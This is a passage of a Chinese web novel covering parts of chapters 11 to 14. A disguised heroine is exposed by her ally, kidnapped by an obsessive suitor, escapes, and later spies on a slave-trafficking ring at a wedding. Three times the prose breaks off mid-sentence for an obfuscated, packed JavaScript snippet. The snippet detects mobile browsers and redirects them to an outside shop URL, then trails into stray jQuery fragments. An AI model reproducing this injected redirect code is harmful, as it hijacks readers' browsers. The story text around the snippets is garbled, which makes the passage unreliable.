许妙仪想了想,又道:“回去后,想办法争取到一个单独的地盘……你知道的,我是女子,不方便。” 萧韫“嗯”了一声。 他抱着许妙仪往回走,很快就与举着夜明珠的岳强碰上了。 借着珠光,岳强瞧清两人情状,不禁面露惊讶:“这是……?” “她伤得太重了。”萧韫故作担忧,“那两人商量着对镖局的兄弟们下手,发现了我们的踪迹,便想将我们灭口。幸好我二人武力尚可,没让他们得逞。” 岳强沉了脸:“果然!我就说他们怎么突然跑了!”倏地,他语意一转,关切道,“真是让二位兄弟受难了!我回去必定禀告娘子,请娘子为你二人加薪。” “多谢岳镖头。”萧韫轻笑着,垂睫掩住眸中冷意。 岳强笑道:“走,回去吧。” 一行人进了庙,萧韫对岳强道:“岳镖头,我二人如此这般,换衣上药恐怕要忙活好一阵。为免打扰各位兄弟休息,我们想暂且去另一侧偏殿。” 岳强答应得格外爽快:“行。” 萧韫带许妙仪到了另一侧的偏殿,问:“可以了吗?” “可以。”许妙仪道。 萧韫放手得格外干净利落,害许妙仪差点没站稳摔了一跤。她有些恼,但想着他毕竟帮了自己,便也没计较。 “我去找些生火的东西来,”萧韫转身往外走,语带几分揶揄,“许兄最好赶紧想想你的理由,某迫不及待想知道呢。” 许妙仪一噎,这确实是她的当务之急。她靠墙坐下,伸手揉着太阳穴,急急寻找着借口。 萧韫动作很快,许妙仪还没想好,他就抱着一堆断木回来了,悠悠问:“许兄可想好了?” 许妙仪连忙把头埋到膝盖中,闷声道:“急什么。” 萧韫很少听许妙仪这种语气,不由愣了一下。但他终究还是没说什么,取出火折子开始生火。 很快,火光亮起,驱散夜色。 许妙仪察觉到,连忙出声:“你先出去吧。我……身子有些不舒服,想快些换衣服。” 萧韫沉沉看了许妙仪一眼,起身道:“行。” 待萧韫离开,许妙仪赶忙从袖中掏出一面小镜子,借着火光一照。果不其然,她面上的胎记褪色了大半。 先前打斗之时,雨势疾猛,斗笠已经不甚管用了,她的脸淋了不少雨。 外面本是光线昏暗,他人看不出来异样,可有了夜明珠就不同了。 所以,她一时情急,才选了那么一个笨办法。 快速给胎记补好了色,又换上干净衣服,许妙仪便出了门,换萧韫进去。 萧韫很快就换好了衣服。 二人围坐在火堆边,给自己上药。 许妙仪问:“你先前为何会出现在树林里?跟踪我?” 萧韫轻“啧”一声,语气有些委屈:“这怎么能叫跟踪呢?某只是担心盟友的安危。” 许妙仪嘴角抽了抽,毫不留情道:“少说这种冠冕堂皇的话。” 萧韫笑了一下,这才如实道:“是岳镖头让我去的。” 许妙仪嗤笑一声:“果然。” “许兄,现在该你解释解释了吧?为何要我抱着你?” 11.第 11 章 许妙仪呼吸一滞。 终究还是“纸包不住火”,被他看出来了。 萧韫继续说着:“你让我抱着你,关键不在于抱,而在于把脸藏起来吧?还有,初入镖局比武时,你故意放水,给那人划破你脸的机会。我当时疑惑不解,但如今想来,你大概是想让血水遮住你的脸吧。” 他的语气轻而缓,可二人之间的氛围却远没有这般轻松。 “当时与今日,如出一辙的大雨天。所以,你的脸不能淋雨。某猜得对吗?” 许妙仪阖眼,低低叹了一声。 她心里很清楚,这次的询问与上次截然不同。 此前手上薄茧一事,萧韫虽会因好奇而询问,但不会刨根问底。因为他们只是暂时的合作关系,没有必要交心交底。她明白这个道理,所以不会去拆穿他的身份,他亦如是。 而这件事就不一样了。她不仅用行动表明,更已经言明此事会危及到二人共同的利益。所以他必须问,她也必须给出一个合理的解释。 她缓缓睁眼,却只瞧着火堆。她轻声开口:“你可还记得,我曾与你说过,我在蓝家手上吃过亏。” 萧韫点头:“记得。” “就在那次,我和蓝钰,也就是镖师们口中的娘子见过。我脸上原本只有一小块褐色胎记,为了不让她认出来,我就用特殊药剂染出了现在这块大胎记。美中不足的是,这药剂的防水性不大好,在持续的大雨冲刷下会脱色。”许妙仪一番话说得半真半假。 萧韫眯眼,仔细观察着许妙仪的眉眼。 火光摇曳中,她面上明暗交织,五官轮廓与那夜绑架他的女子有些许重合…… 他忽然很想知道,大面积的紫色胎记之下,究竟会不会是那张脸呢? 许妙仪虽垂着眸,却依旧能感知到萧韫的目光所在,不禁眼睫微颤。 半晌,方听得萧韫幽幽开口:“看不出来呢——既看不出这是假胎记,也看不出原先胎记的影子。” 许妙仪笑了一下,道:“若是能让你轻易看出来,怎会骗得过蓝钰?” “说的也是。”萧韫收回目光,揶揄笑道,“许兄真乃神人也,总是有着各种神奇的药剂。不知可否可拿出来,让某也长长见识?” 许妙仪抿了抿唇,从怀中掏出一个小瓷瓶递了过去。 萧韫倒了一点药水在手心,很快就见那药水渗入皮肤,形成了状似胎记的印记,与许妙仪面上的大同小异。 他眸中晃过一抹惊奇,又问:“可有能洗掉它的药水?” 闻言,许妙仪心下一紧,摇头道:“没有,只能以大量的水冲洗。” 萧韫“哦”了一声,递还瓷瓶,眼底情绪莫名。 此后二人没有再交谈,各自上药,先后回归了大部队。 翌日拂晓,一行人便动身启程,踩着第一缕阳光进了青州城。将货物完好押送到指定地点,此次任务就算圆满完成。 雇主给了些额外赏钱,岳强提议道:“诸位兄弟一路辛劳,不如去买些酒喝,午后再回阳泉。” 于是众人来到一家酒楼,在二楼靠窗的桌边坐下。酒菜还未上桌,人们却已然兴致高昂,聊得眉飞色舞。 许妙仪对他们的话题不感兴趣,百无聊赖地去看周遭人物。 倏地,她看见楼梯口出现了一个熟悉的身影——准确来说,不是她熟悉,而是李霜儿熟悉。 那是个身形窈窕的女子,装扮素雅,面容秀美。她叫林素婉,亦出身商户之家,是李霜儿的闺中好友。 那一刻,许妙仪心底不自觉涌出激动和喜悦,更有一种走向她的冲动。 这……是李霜儿残留的意识吗? 犹疑之间,林素婉走进了一间雅间,消失在许妙仪视野范围内。 见状,许妙仪觉得自己的心好像被什么揪住了,难受得紧。 一旁的萧韫看出许妙仪的异常,低声问道:“许兄,你这酒里又有药?” 许妙仪白了他一眼,道:“不是。”顿了顿,她又道,“我看见一个熟人,想去与她说几句话,烦请你帮我做个掩护。” 她想,她毕竟占用了李霜儿的身体,虽非自愿,但终究是亏欠于她的。所以,她得替李霜儿了却这一桩夙愿。 反正经昨夜一事,蓝家对她的怀疑应该已经打消了大半,大概不会再派人盯着她了。 萧韫有些意外,却也没多问,只应了声“好”。 许妙仪拍了拍萧韫的肩膀,起身离去。 桌上当即便有人问:“诶,许兄弟这是干嘛去了?” 萧韫嘴角噙着抹笑,意味深长道:“他方才一直盯着一位女子看。” 席间众人发出一片了然的“哦”声,尾音拖得老长。 许妙仪下到一楼,从掌柜处借了纸笔。她本来只是想写封报平安的短信,然心绪激荡难平,她只好模仿着李霜儿的字迹写下约见之语,并托一个伙计将其送去林素婉的雅间。 随后,她去对面酒楼开了间雅间,并要了一盆清水。 她把解药掺入水中,捧水洗脸,紫色的印记瞬间褪去,露出原本光洁如玉的肌肤。面中寸余长的伤痂,非但不能掩盖她艳绝的容光,反而为她增添了几许别样的韵味。 不多时,门被叩响,林素婉的声音传来,明显压抑着激动:“是我,素婉!” 许妙仪谨慎地只将门打开了一条缝,用李霜儿原本的声线道:“进来吧,阿婉。” 林素婉进屋见了许妙仪,双眸瞬间发亮。她紧紧拥住了许妙仪,惊喜道:“霜儿!居然真的是你!” 许妙仪眼中不由自主地泛起了泪花,回抱住林素婉,道:“阿婉,许久不见,你可还好?” “我一切都很好。只是你,前些天我让人去赵府给你送东西,却听说你不见了……”说着说着,林素婉就忍不住抽噎起来,“你可知,我有多担心你?我还以为你……你已经……” 许妙仪放开拥抱,轻轻为林素婉拭去眼泪,柔声宽慰:“别哭了,我现在不是好好的嘛。” 林素婉点点头,努力抿出一个笑来。随后,她伸手轻抚许妙仪脸上的伤痂,满眼心疼:“你这是怎么伤的?” “只是不小心划伤了。”许妙仪搪塞道。 林素婉关怀道:“我那里有药膏,你可需要?” 许妙仪笑了笑,道:“不用了,多谢阿婉。我此番来只是给你报个平安,很快就要……回去了。”一说到分离,她的心中便泛起一片酸楚。 “这么急吗?”林素婉有些失落。 许妙仪强行压下心中悲戚,解释道:“我现在在一个商队工作,此番只是来青州送货,同僚们还等着我回去呢……再者,我不能以这幅面孔久待,赵家大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13894536|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在通缉我。” 林素婉愣了一下:“通缉?我从未听说过此事啊。” 这下轮到许妙仪愣住了:赵家居然没有通缉她?赵家能有这么好心?萧韫他……也没计较? 她很快收回思绪,道:“我是从赵家逃出去的,我还以为他们不会轻易放过我呢。”随即,她语意一转,“阿婉,你先走吧,我还要稍微收拾一下。” 林素婉泪光盈盈,依依不舍地握着许妙仪的手,切切叮嘱道:“以后若是需要帮助,尽管写信来。” 许妙仪笑着应下:“好,祝我的阿婉余生顺遂。” 送走了林素婉,许妙仪重新画上胎记,又调整了会儿心情,这才重新回到席上。 席间众人酒兴正浓,许妙仪一坐下,便有人笑问:“瞧许兄这失魂落魄的样子,是在心上人那儿碰壁了?” 许妙仪不解其意,却忽听萧韫轻轻咳了几声。她迅速反应过来,露出一个苦笑,无言胜有言。 有人“嗐”了一声,宽慰道:“多大事儿啊,别伤心。不是有句诗说,什么莫愁什么……” “你个文盲就别丢人了。”又有一人调侃道。 “诶,怎么说话呢你?” 二人就这么吵吵了起来,其他人笑作一片。 许妙仪有些饿,拿起筷子正要夹菜,忽觉萧韫朝自己凑了过来。 她吓了一跳,连忙倾身与他拉开距离,警惕道:“你干什么? 萧韫盯着许妙仪的眼睛,似笑非笑。或许是饮酒的缘故,他的眸子比往常水润得多,活像一枚莹润的墨玉。 许妙仪的心跳莫名快了起来,错开视线。 周遭吵嚷不已,她却清楚地听见了他微哑而轻柔的嗓音:“怎的还哭了?” 许妙仪蹙眉反问:“见到故人,心绪难平,这很难理解吗?” “不难理解啊。只是第一次见你哭,觉得有些新奇罢了。”萧韫凤眸微弯。 许妙仪唇角抽了抽:“……” 萧韫把身子撤了回去,许妙仪也懒得跟他再说什么,继续吃菜。 谁知吃着吃着,她莫名又伤心起来,眼前起了一层水雾。 萧韫瞥见许妙仪此种情态,眸中意外更甚。犹豫片刻,他再度倾身凑近许妙仪,假装漫不经心道:“别哭了,小心把……那个哭掉。” 许妙仪抬手抹了一把眼泪,冷哼道:“这个不劳你操心。” 萧韫挑眉:“这是哪里的话?我与许兄志同道合,理应同担风雨。” 许妙仪听出他的弦外之音,深吸一口气,道:“你放心吧,我的眼泪又不是瀑布。” 萧韫盯着许妙仪看了一瞬,眸中情绪莫名,默默回过身去。 许妙仪竭力想压制悲伤,可越是压制,泪意反而更加汹涌。无奈之下,她只好借口醒酒,再次起身离席。 镖师们都以为许妙仪是为情所困,感慨不已。 萧韫望着许妙仪急急离去的背影,漆黑的眸中漾起几丝兴味—— 究竟是什么人,能让她如此伤心? 她径直出了酒楼,寻了一处清冷偏僻的巷道,倚墙坐下,把脸埋在膝盖中。她不再压抑情绪,任由眼泪决堤而出。 不知过了多久,泪流才终于有了干涸之势。她抬起脸,就着衣袖擦了擦泪痕。 然而就在这时,一面网兜头落下。 12.第 12 章 大网笼罩在许妙仪身上,一股异香强势地窜入她的鼻腔。 她暗道不妙,连忙闭气,同时伸手去掏丹药。 但药效猛烈,仅仅只是吸入了少量,她的头脑就已经昏沉起来,手脚也跟着发软。 还没能拨开瓶盖,许妙仪便两眼一翻,晕了过去。 * 酒桌上,酒过三巡,一片醉醺醺的景象。 萧韫以手撑头,墨眉深蹙,双眼紧闭,似乎是醉得厉害了。 倏地,窗外传来几下布谷鸟的叫声。 萧韫睁眼,漆黑的眸中分明一片清明。他站起身,丢下一句“更衣”,匆匆离席,下到一楼,径直往雪隐而去,最终从雪隐后的矮墙翻了出去。 墙外是条僻静的巷道,一个黑衣青年正抱着剑倚墙而立。见了萧韫,他连忙拱手弯腰:“属下李梧见过郎君。” “什么事?”萧韫直接问。 “许娘子被人捉走了。”李梧面色凝重。 萧韫很是惊讶:“谁能捉得了她?” 李梧把当时情形复述了一遍。 萧韫蹙眉,问:“可查到那伙人是受谁指示?” “属下已经派人跟着了,一旦幕后主使现身,会立即回来禀报郎君。” 萧韫点头。 李梧看了萧韫一眼,犹豫着开口:“可……需要属下带人去营救?” 萧韫唇角微勾,摇头道:“不用,她的武艺不比你差。” * 再次有意识的时候,许妙仪感觉身下一片硌硬,鼻腔充斥着阴湿的气息。她勉力睁开眼,看见了一片简陋的木质天花板。 “霜儿,你醒了。”一道清润的少年音传来,满含愉悦。 许妙仪循声看去,只见一个清瘦少年正坐在不远处的椅子上,笑看着她。仔细一瞧,这少年生得与林素婉有五六分相似,也是个清秀柔和的。 然而许妙仪见了,打心底里生出一种厌恶。 这少年叫林书鸿,是林素婉的弟弟。 李霜儿对他的印象并不好。 原本,李霜儿一直都把林书鸿当弟弟看待。直到及笄那年,林书鸿对她表明爱意。 她拒绝了林书鸿,但林书鸿却不肯死心,时常在私下里纠缠于她,并且行事愈发极端—— 只要是与李霜儿说过话的男子,不久后都会“倒霉”。有时是食物中毒,有时是遇见疯狗,有时是被楼上坠落的东西砸到……久而久之,她就被扣上了“不祥”的名头。 她知道,这其中必定有林书鸿的推波助澜。 讽刺的是,林书鸿在人前伪装得很好,是城里出了名的温润郎君,就连他的胞姐林素婉也这样认为。他的阴暗面,似乎只对李霜儿展露。 李霜儿无数次想要戳穿林书鸿,但碍于与林素婉的情分,她最终都选择了容忍…… 思及此处,许妙仪怒火中烧,一时间脑中只剩下“痛打林书鸿”这么一个念头。她猛然坐起身来,正要下床,却忽然顿住了。 随即,她连忙朝自己脚踝看去,不由得紧蹙眉头,低骂出声——她的脚踝上赫然套着铁铐!铁铐连着铁链,铁链又连着墙壁上的铁环。 她又开始快速在身上翻找能撬锁的东西,但很快她就发现——自己身上的武器、药品等竟全部消失了,就连藏在发间的银针都被搜走了。 “霜儿,别挣扎了,乖乖地从了我,不好吗?”林书鸿悠悠开口。 许妙仪怒气更甚,恶狠狠瞪向林书鸿,咬牙切齿地骂道:“卑鄙小人!” 谁知林书鸿这厮挨了骂,居然还咧嘴笑了出来——不是冷笑,不是怒极反笑,而是开心的笑。 他双眼直勾勾地盯着许妙仪,语气兴奋不已:“霜儿,你骂了我!这证明我能挑动你的情绪,我在你心里还是有位置的。” 许妙仪第一次遇见脑回路如此清奇的人,内心大为震撼,脑中只蹦出两个字:疯子。 这时,林书鸿又深情款款地开口:“霜儿,你生气的样子好美,哪怕添了丑陋的胎记和疤痕。” 许妙仪听得起了一身鸡皮疙瘩。她忽然觉得,林书鸿这种人就应该被派上战场,开战前让他朝着敌军喊话,准能把敌军恶心到吐——这也算一种特别的“不战而屈人之兵”吧。 她很想骂他,但怕他又说出来刚才那样恶心人的话,索性转了话题:“这是哪里?你想做什么?” “这是我为你准备的房间啊。”林书鸿意味深长道,“你别看它现在简陋,只要你乖乖听话,你想要什么都有。” 许妙仪气极反笑。 但她还没有被愤怒冲昏头脑,知道生气不能解决任何问题。她闭上眼,开始做深呼吸,努力冷静下来。 再次睁开眼时,她看向林书鸿的目光平静了不少,语气也柔缓了下来:“你是如何找到我的?” 林书鸿娓娓道来:“因为我相信,你如果回了青州,就一定会与我阿姊联络。所以,我早早就在阿姊身边安插了眼线。那个侍女虽然没能进到雅间里,但你知道的,我阿姊是个藏不住话的,她可是开心地念叨了一路呢。” “为做进一步的确认,侍女假称落了东西,折返了回去。她看见有胎记的你从雅间出来,虽不敢确认,但还是留下来观察了你的动向。后来她让人将此事告知与我,我一猜就知道,那胎记定是你伪造的。” 许妙仪干笑两声:“那你还真是聪明绝顶啊。” 闻言,林书鸿眸光微动,感慨道:“霜儿,你好久没有这样夸过我了。” 许妙仪无语,默默闭上了眼。 林书鸿又道:“霜儿,和我说说你这些天的际遇好吗?我感觉……你好像变了不少。” 许妙仪深吸一口气,把先前应付林素婉的那一套说辞照搬过来。 “原是如此,霜儿,你受苦了,”林书鸿目露怜惜,“以后我一定会加倍疼爱你的。” 许妙仪沉默半晌,问:“只要我听话,你就对我好,是吗?” “霜儿这是想通了?”林书鸿惊喜道。 许妙仪抿了抿唇,道:“我想喝水。我抱你一下,你给我水喝,行吗?” “当然可以。”林书鸿的喜悦溢于言表,连忙起身朝床榻走来,坐到床沿上,向许妙仪张开了双手。 许妙仪低着头,缓缓将手放在林书鸿肩头,似乎十分羞赧的样子。 倏地,她猛地发力,将林书鸿的背掰向自己。随即,她左手顺势搂住林书鸿的脖子,右手小臂按住他的后脑。这么一来,她便将他脖子卡在了自己两臂之间。 “色字头上一把刀,记住了!”她冷声说着,两只手同时发力。 林书鸿被绞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13903053|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得双眼翻白,很快就晕了过去。 许妙仪把林书鸿放倒在地,开始在他身上摸索,很快就找到了钥匙,给自己解了脚铐。 接下来,她就要拿林书鸿当人质,以离开这鬼地方了。 思索半晌,她先点了林书鸿的几个穴位,随后左右开弓扇他巴掌,硬生生给他扇醒了。 林书鸿睁开眼,发现自己动弹不得,亦不能出声,只能挤眉弄眼,似乎是想说什么。 但许妙仪懒得解读。 这时,外间忽然有人叫道:“有刺客!” 嘈杂的脚步声、人声、刀剑相接声随之而来。 许妙仪心中警铃大震,快步朝门口走去,欲一观外间情形。 不料还没走到门口,门便被轰然破开,阳光洒落进来。 熟悉的青年身形出现在许妙仪眼帘。萧韫逆着光,许妙仪又隔得较远,看不清他的神情,但见他优雅而流畅地挽了个剑花,收剑入鞘。 许妙仪松了一口气,心中竟莫名生出一丝亲切。 萧韫信步进门,许妙仪这才看见,他面上沾染着点点血迹,整个人都平添了几分幽艳。 他看了看许妙仪,又看了一眼地上的林书鸿,挑眉道:“看来是某自作多情了。” 许妙仪问:“你把外头的人都解决了?” “不过是些小喽啰罢了,某再不济,也不会在他们手上吃亏。”萧韫似笑非笑。 许妙仪:“……”她怎么觉得萧韫在讽刺她呢? “你想怎么处置他?”萧韫懒洋洋地问,“杀了他?” 许妙仪知道,他问的是林书鸿。对于这种人,她自然是恨不得将他大卸八块。 但,她的脑海中总有一道缥缈的声音在说:“不要……不要……” 许妙仪看着林书鸿,眼神复杂,最终还是叹了口气,道:“留他一命吧。” 话音落下的瞬间,林书鸿眼中迸射出惊喜的光芒。 许妙仪愣了一下,旋即反应过来——他大概是想说:“霜儿,我就知道你心里还有我!” 她翻了个白眼,冷漠道:“我不杀你,是因为不想让阿婉伤心。余生,你就成为一个傻子吧。”说着,她朝林书鸿大步走去。 林书鸿愣住了,随即不可置信地圆睁双目。眼见许妙仪越来越近,眸中狠意不似作伪,他的神情变得惊恐无助,甚至还有一丝哀求。 许妙仪熟视无睹,扯住林书鸿的头发,强行将他拽到墙边,朝墙上“哐哐”一顿砸。 萧韫在远处默默看着,不知为何,竟有些许心悸。 片刻后,许妙仪放开林书鸿,拍了拍手,朝门口走去。 她本以为萧韫会和她一起离开,不料当她正要跨出门槛时,萧韫叫住了她:“等等。” 许妙仪顿住步子,回头不解地看向萧韫。 萧韫盯着许妙仪,轻声问:“某很好奇,许兄与这人有何仇怨,他要绑架你?” 许妙仪犹豫了一下,还是选择说谎:“他认错人了。” “是吗?”萧韫眉尾轻挑,“但这里的侍卫可不是这么说的。” 许妙仪心弦紧绷。 “他们说,他们郎君心慕你多年,爱而不得,才出此下策。” “他们好像还提到……”萧韫故作思索状,“你叫……李霜儿。” 13.第 13 章 许妙仪一噎。 她明白,萧韫都已经把话说到了这个地步,摆明了就是要捅破窗户纸,她不认也不行了。 快速扫视过门外横陈着的几具侍卫尸体,她回看向萧韫,破罐子破摔道:“没错,是我,那夜就是我绑架的你。你想如何?” 说这话时,她浑身紧绷,双目死死盯着萧韫。 只要萧韫有一丁点的异常,她就会立即夺门而出,并捡起侍卫尸体附近的剑刃。 她很清楚,萧韫以身入局,其真实身份就是他最大的威胁。如今她认下了自己是李霜儿的事实,就证明她是知道他身份的。而今他并非完全信任她,杀她灭口也不是没有可能。 “果然是你啊……”萧韫眯着眼,语气很轻,情绪难辨。 许妙仪的心弦愈发紧绷,微微挪动步子,使足尖朝向门外。 空气在无声的对峙中变得沉重。 半晌,萧韫率先打破了沉默。他轻笑出声,揶揄道:“许兄这么紧张做什么?我还能吃了你不成?” 闻言,许妙仪心下松动几分,却仍有顾虑:“你……不记恨我?” 萧韫嗤笑一声,道:“许兄怎把某想得那样小心眼?某若记恨你,你恐怕都没命活到现在。” 许妙仪抿了抿唇,又问:“那枚迫使我卸剑的石子,你为何不早早扔出?” 萧韫顿了一下,随即戏谑道:“自然是因为……怜香惜玉。” 许妙仪:“……” 经历过了林书鸿的精神摧折磨,许妙仪再听见萧韫插科打诨,都不觉得气恼了,心中唯有无语。 萧韫垂眸敛起轻佻,道:“某虽不敢自诩好人,但某一定不是许兄想的那种人。” 许妙仪眸光微动,看了萧韫一眼,最终还是什么也没说。 不料这时,萧韫忽然朝她走来,停在距她两尺左右的地方,弯腰与她平视,问:“算上催-情-药一事,某帮了你两次大忙,你要如何报答?” 午后暖阳温柔地洒在他面上,将他的眸子染成了剔透的琥珀。又有唇角微扬,他身上侵略性的英气减弱,转而显出几分柔情。 许妙仪连忙别开脸,眼睫微颤。她回答的语气有些生硬:“你想我如何报答?” “不如,许兄为我答疑解惑吧。”萧韫弯起唇角。 许妙仪眉头微蹙,已经猜到他想问什么了。 果不其然—— “上次你绑架某之后,我就差人打听了你的一些情况,其中似乎并没有习武的经历。”萧韫意味深长。 许妙仪冷声道:“你越界了。这是我的秘密,我们之间还没熟络到彼此开诚布公的地步吧。” “许兄别激动,我知道你不会说的,也没打算强迫你。”萧韫笑意不减,直起身子,“那就先欠着吧。” 说罢,他又看了看外头的天色,道:“走吧,该回去了,镖局的人还在等我们。” 许妙仪默默跟上萧韫的步伐。走着走着,她脑中忽然又闪出一个念头,开口问道:“对了,你是怎么找到我的?你……又跟踪我?” 萧韫停住脚步,转过身来,抱手看着许妙仪,故作忧伤:“许兄,你就这么揣测你的恩人?” 想到自己确实是受惠于人,许妙仪的气势便弱了下来:“那你是怎么知道的?” 萧韫“唔”了一声,笑道:“大概是因为,某与许兄心有灵犀吧。” 许妙仪闭了闭眼,咬牙道:“能不能正经点儿?” 萧韫这才正色道:“岳镖头看你久久未归,发动我们分头去找。某大概是运气好吧,前后遇见了几个目击者,一路寻了过来。” 他这话半真半假。真的是,他原本确实不打算出手,是岳强发了话,他才觉得有些不对劲,动身来寻;假的是,所谓“目击者”其实是他的属下。 许妙仪觉得这理由说得过去,“哦”了一声,没再多问。 二人出了小院,一路往城门而去。远远的,便见岳强和趟子手牵马立在门楼下,面色颇为焦急。 见萧许二人走近,岳强连忙迎了上来,疾言厉色地问许妙仪:“你这是去哪儿了?可叫我们好找!” 许妙仪垂头做惭愧状:“说来也离谱,一伙人寻错了仇,用迷药给我迷晕了。我醒来后就逃了出来,恰好遇到了向兄。” “我还以为你小子为了个女人想不开投河去了!”岳强没好气儿道,“念在你是初犯,我就不计较了,以后不能了!” “是。”许妙仪应道。 “等其余寻你去了的兄弟回来,我们就启程。” 约莫半个时辰后,另几人陆陆续续地回来了。一行人出了青州城门,纵马如飞,天黑时就回到了镖局。 萧韫和许妙仪先去房中放了行囊,然后往膳堂而去。 行至半路,他们拐过一道回廊,迎面遇上了两张熟面孔——一个是庆三,另一个满面红光的青年叫杨明,时常跟在庆三身后的。 萧韫和许妙仪拱手招呼道:“庆三兄、杨兄。” 庆三只点了点头,杨明却热情得很:“哎哟,许兄弟、向兄弟!你们走镖回来了!一切可还顺利啊?” 许妙仪心中不由警觉起来:他们交情很一般,杨明此前对他们只能说是客套,此时缘何一反常态?事出反常必有妖。 “一切都好,多谢杨兄关怀。”萧韫率先开口回答。 许妙仪也连忙跟着附和了一句。 “那就好。”杨明笑呵呵的,从衣中掏出两张大红帖子递了过来,“后日我成亲,两位兄弟若得空,可一定要来捧个场啊!” 许妙仪这才想起来,之前确实是听人说过,杨明正在谈婚论嫁。她松了一口气,接过帖子,笑着说了几句吉祥话。 几人又你来我往地客套了一阵,结束交谈,各自继续行路。 谁知刚走了没几步,庆三突然出声:“等等。” 许妙仪和萧韫步子一顿,对视一眼,都从对方眼中看见了一晃而过的警惕之意。随即,二人顺势转身,面上只剩下了困惑。 庆三打量二人片刻,悠悠开口道:“娘子挺欣赏你们的,好好干。” 这句话意味着什么,两人无比清楚,连忙拱手道:“是。” 告别了庆三与杨明,萧韫低声问:“接下来有什么打算?” 许妙仪晃了晃手中的喜帖,道:“这儿有个现成的机会呢。” 吉日很快到来。 婚宴是在杨明自家举办的,众镖师到了地方一瞧,纷纷面露惊讶——这院子虽然算不上多么奢华气派,但对普通人来说,已经是顶好的了。 镖师们大多都出身贫困,一时间感慨连连,艳羡之语层出不穷。 许妙仪也叹道:“看来,他们这行油水大得很哪。” “他们一件货最少卖这个数。”萧韫低低说着,伸出两根手指。 许妙仪对此并不了解,试探着道:“两万?” 当今大梁有合法的奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938262|146578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隶交易,奴隶来源大多是罪犯,小部分是“以身抵债”的,比如李霜儿。普通奴隶的身价一般在一万到两万文之间。 萧韫摇头。 “二、二十万?”许妙仪震惊地瞪大眼,简直难以置信,“不会吧?” 萧韫颔首,道:“他们不知用了什么方法,卖出的……那个都非常听话,所以定价很高。” 许妙仪唏嘘不已。 人们在门口登记过名字、交了贺礼,便可进到正堂。 一进门,许妙仪便见靠前的席间聚着一个人堆,心生好奇,随机抓住一个人询问。 那人道:“那是蓝娘子。” 既在意料之中,也在意料之外。 与解答的人道过谢,许妙仪便和萧韫一同入座。 天很快就黑了下来,婚仪也正式开始了。许妙仪很期待这场两千年后的婚仪,虽然尽力收敛着,但盈盈的眸光还是出卖了她。 坐在一旁的萧韫默默看着许妙仪,眸中也泛着几分兴味,唇角微勾。 …… “礼成!”随着礼官尖尖细细的声音,婚仪宣告完成,掌声杂着欢呼在席间奏响。 新娘子被送入洞房,新郎官则要留下来陪酒。 杨明首先走到蓝钰身边,感激道:“娘子屈尊捧场,还自费给我添了那么多物件儿,我实在感激不尽!” “你为我鞠躬尽瘁,这些权当我的谢礼。”蓝钰温和笑着,起身回敬。 四下里一片叫好,还有人借着酒劲儿喊道:“娘子,我也要为你鞠躬尽瘁!” 饮毕,蓝钰对众人道:“我还有事儿,就先回去了,你们玩儿得高兴。” 许妙仪和萧韫交换了一个眼神,接着端起酒杯凑到杨明身边,笑道:“杨兄,我敬你,祝你夫妻往后举案齐眉,白头到老!” “多谢许兄弟!”杨明呵呵笑着,一饮而尽。 许妙仪又感慨道:“杨兄这房子也气派,这新娘子也貌美,实在是羡煞我等啊!” 不少人跟着附和。 这话正中杨明下怀,他笑得合不拢嘴,却仍故作谦虚:“啊呀,哪有你们说得那么夸张啊!” 许妙仪切入正题:“杨兄,我实在好奇,同为镖师,你怎么赚得这么多呢?” 杨明“嗐”了一声,道:“走镖能赚得几个钱啊?” 许妙仪趁热打铁:“如此说来,杨兄是有其他赚钱的门路咯?不知可否提点小弟一二?” 闻言,杨明笑容一滞,面上的酒色都连带着颓褪了几分。 周遭氛围也变得微妙,一部分人仍和许妙仪一样满脸好奇,另一部分则目露警惕。 见状,许妙仪重重叹了口气,道:“不瞒你说,我也想抱个美娇娘回家。可惜我身材矮小,相貌丑陋,如果连钱都没有,哪个姑娘愿意跟?” 杨明心生同情,斟酌半晌,道:“这具体的我也不好说,不过你只要记住一句,跟着娘子准没错儿!” 许妙仪点点头,还欲再说什么,便有人另起了话题:“哎,杨兄,说说你和你媳妇儿怎么认识的呗?” 八卦似乎是人的天性,众人的注意力瞬间被带了过去,许妙仪也没再多问。 她此番目的并不是让杨明当众说出人贩子的勾当,而是让大家都知道,她很想赚钱。 她要以此让蓝钰知道,她会是个“可塑之才”。 与此同时,蓝钰独身出了院子,走在巷道里,忽觉背后起了一股寒意。 14.第 14 章 “郎君小心!”女侍慌忙叫道,连忙旋身抽剑,挡下短箭,发出“铮”的一声。 与此同时,两侧墙头落下数道黑影,迅速将她们团团围住。这是一帮蒙面黑衣人,几乎能隐没在夜色中,唯有手中刀剑闪着幽幽寒光。 